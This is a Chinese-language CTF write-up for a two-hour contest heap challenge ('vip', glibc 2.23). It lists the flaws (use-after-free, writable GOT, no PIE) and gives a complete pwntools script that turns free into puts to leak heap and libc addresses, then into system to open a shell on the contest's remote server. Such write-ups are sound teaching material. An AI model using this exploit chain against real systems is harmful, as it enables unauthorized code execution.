比赛只有两小时,不会出难题,但也耗了不少时间。
从界面上很容易确定是个堆题
关注几点:
- PIE未开且got表可写
- 有管理块,管理块里有指向数据块的指针
- free里没有删指针有UAF
- 有edit可以随时写
- 没有show
思路就是利用这个指向数据块的指针,先把它指向got[free],再把got[free]改为puts实现回显,在得到libc后改为system
处理步骤:
- 建0x80,0x20
- free(0) 这时指针并没有擦除,还可以用来修改
- 再建0x20 这里会将管理块建到原0数据块的位置,可以通过0来修改它的指针
- 通过2修改0的指针指向got[free],再通过0修改got[free]这plt[puts],调free即可得到堆地块
- 再将通过2修改0的指针指向剩余的unsort的fp指针,调free得到libc
- 重复上步,再通过2修改0指向got[free]将其改为system
- 建个/bin/sh的块然后释放
from pwn import *
local = 0
if local == 1:
p = process('./vip')
libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
else:
p = remote('82.157.18.9', 55603)
libc_elf = ELF('./libc-2.23.so')
elf = ELF('./vip')
context.arch = 'amd64'
menu = b"Your Choice:\n"
def add(size, msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Input Your Password Size:\n", str(size).encode())
p.sendafter(b"Input Your Password:\n", msg)
def edit(idx, msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Input Your ID:\n", str(idx).encode())
p.sendafter(b"Input Your New Password:\n", msg)
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Input Your ID:\n", str(idx).encode())
add(0x80, b'A')
add(0x20, b'A')
free(0)
add(0x20, b'A')
context.log_level = 'debug'
edit(2, p64(elf.got['free']))
edit(0, p64(elf.plt['puts']))
free(1)
p.recvline()
heap = u64(p.recvline()[:-1].ljust(8, b'\x00')) -0xd0
edit(2, p64(heap + 0x40))
free(0)
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x58 - 0x10 - libc_elf.sym['__malloc_hook']
system = libc_base + libc_elf.sym['system']
print(hex(libc_base))
edit(2, p64(elf.got['free']))
edit(0, p64(system))
add(0x30, b'/bin/sh')
free(3)
p.interactive()